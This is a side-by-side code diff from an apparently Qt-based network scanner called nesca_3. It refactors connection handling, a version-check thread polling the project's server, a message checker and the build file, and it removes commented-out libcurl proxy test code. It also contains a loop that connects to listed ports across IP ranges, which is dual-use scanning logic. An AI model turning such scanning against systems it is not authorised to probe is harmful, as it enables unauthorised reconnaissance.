if(CSTR.lowerBuff != NULL) if(buffer.size() > 0)
{ {
if(strstr(CSTR.lowerBuff, "\r\n\r\n") != NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 404 Not Found") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 502 Bad Gateway") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 400 Bad Request") == NULL && strstr(CSTR.lowerBuff, "\r\n\r\nEmpty") == NULL) if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 404 Not Found")) == -1
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 502 Bad Gateway")) == -1
&& Utils::ci_find_substr(buffer, std::string("HTTP/1.1 400 Bad Request")) == -1
&& Utils::ci_find_substr(buffer, std::string("\r\n\r\nEmpty")) == -1
)
{ {
ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
if(strlen(ptr1 + 4) != 0) if(strlen(ptr1 + 4) != 0)
{ {
mct->doEmitionShowNewMsg(QString(ptr1 + 4)); mct->doEmitionShowNewMsg(QString(ptr1 + 4));
}; };
}
}; };
delete []CSTR.lowerBuff; }
CSTR.lowerBuff = NULL;
};
};
void MSGCheckerThread::run() void MSGCheckerThread::run()
{ {
@ -42,4 +44,4 @@ void MSGCheckerThread::run()
Sleep(60000); Sleep(60000);
_getNewMsg(); _getNewMsg();
}; };
}; }

View File

@ -19,7 +19,6 @@ SOURCES +=\
base64.cpp \ base64.cpp \
CheckKey_Th.cpp \ CheckKey_Th.cpp \
CheckProxy_Th.cpp \ CheckProxy_Th.cpp \
connector.cpp \
DrawerTh_GridQoSScanner.cpp \ DrawerTh_GridQoSScanner.cpp \
DrawerTh_HorNet.cpp \ DrawerTh_HorNet.cpp \
DrawerTh_ME2Scanner.cpp \ DrawerTh_ME2Scanner.cpp \
@ -35,7 +34,11 @@ SOURCES +=\
progressbardrawer.cpp \ progressbardrawer.cpp \
STh.cpp \ STh.cpp \
vercheckerthread.cpp \ vercheckerthread.cpp \
finder.cpp finder.cpp \
Utils.cpp \
WebformWorker.cpp \
Connector.cpp \
connector_old.cpp
HEADERS += ActivityDrawerTh_HorNet.h \ HEADERS += ActivityDrawerTh_HorNet.h \
@ -59,7 +62,10 @@ HEADERS += ActivityDrawerTh_HorNet.h \
progressbardrawer.h \ progressbardrawer.h \
resource.h \ resource.h \
STh.h \ STh.h \
vercheckerthread.h vercheckerthread.h \
Utils.h \
WebformWorker.h \
Connector.h
FORMS += nesca_3.ui FORMS += nesca_3.ui

View File

@ -3413,63 +3413,6 @@ static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *use
_startVerCheck(); _startVerCheck();
_startMsgCheck(); _startMsgCheck();
// curl = curl_easy_init();
// if(curl) {
// curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com");
// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
// curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
// res = curl_easy_perform(curl);
// curl_easy_cleanup(curl);
// std::cout << readBuffer << std::endl;
// }
// CURLcode res;
// std::string readBuffer;
// CURL *curl = curl_easy_init();
// if (curl)
// {
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com")));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback)));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer)));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru")));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128)));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L)));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut)));
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut)));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L)));
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com")));
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut)));
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_NOBODY, true)));
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru")));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128)));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_NTLM)));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_VERBOSE, true)));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback)));
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer)));
// res = curl_easy_perform(curl);
// curl_easy_cleanup(curl);
// };
// stt->doEmitionFoundData(QString(readBuffer.c_str()));
//float step = 0;
//QPen iprvPenRegular(QColor(51, 51, 51, 100));
//QPen iprvPen(QColor(51, 51, 51, 100));
//while(step < 480)
//{
// jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular);
// step += 30;
//};
//QPen iprvPenComplete(QColor(51, 51, 51, 100));
//while(step < 480)
//{
// jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen);
// step += 30;
//};
} }
void nesca_3::playFcknSound() void nesca_3::playFcknSound()

View File

@ -3,6 +3,7 @@
#include "mainResources.h" #include "mainResources.h"
#include "externData.h" #include "externData.h"
#include "externFunctions.h" #include "externFunctions.h"
#include "Connector.h"
typedef struct { typedef struct {
char argv[MAX_ADDR_LEN]; char argv[MAX_ADDR_LEN];
@ -878,7 +879,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
// return res; // return res;
//} //}
Connector con; //Connector con;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
void _connect(void* ss) void _connect(void* ss)
#else #else
@ -895,7 +896,7 @@ void *_connect(void* ss)
for(int i = 0; i <= overallPorts; ++i) for(int i = 0; i <= overallPorts; ++i)
{ {
if(globalScanFlag == false) break; if(globalScanFlag == false) break;
if(con._ConnectToPort( ip, portArr[i], "" ) == -2) break; if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break;
}; };
ConDec(); ConDec();

View File

@ -1,34 +1,36 @@
#include "vercheckerthread.h" #include "vercheckerthread.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"
#include "Connector.h"
#include "Utils.h"
void _checkVer() void _checkVer()
{ {
Connector con; while(true) {
conSTR CSTR; char request[64] = {"http://nesca.d3w.org/version"};
CSTR.lowerBuff = NULL; std::string buffer;
CSTR.size = 0; std::vector<std::string> headerVector {"X-Nescav3: True"};
con._EstablishConnection("nesca.d3w.org", 80, "GET /version HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n", &CSTR, 1); Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
char *ptr1 = NULL; char *ptr1 = NULL;
if(CSTR.lowerBuff != NULL) if(buffer.size() > 0)
{ {
if(strstr(CSTR.lowerBuff, "\r\n\r\n") != 0) if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1)
{ {
ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
if(strcmp(gVER, ptr1 + 4) != 0) if(strcmp(gVER, ptr1 + 4) != 0)
{ {
stt->doEmitionShowRedVersion(); stt->doEmitionShowRedVersion();
}; };
}; };
delete []CSTR.lowerBuff;
CSTR.lowerBuff = NULL;
}; };
vct->terminate(); vct->sleep(600000); //10 min
}; };
//vct->terminate();
}
void VerCheckerThread::run() void VerCheckerThread::run()
{ {
_checkVer(); _checkVer();
}; }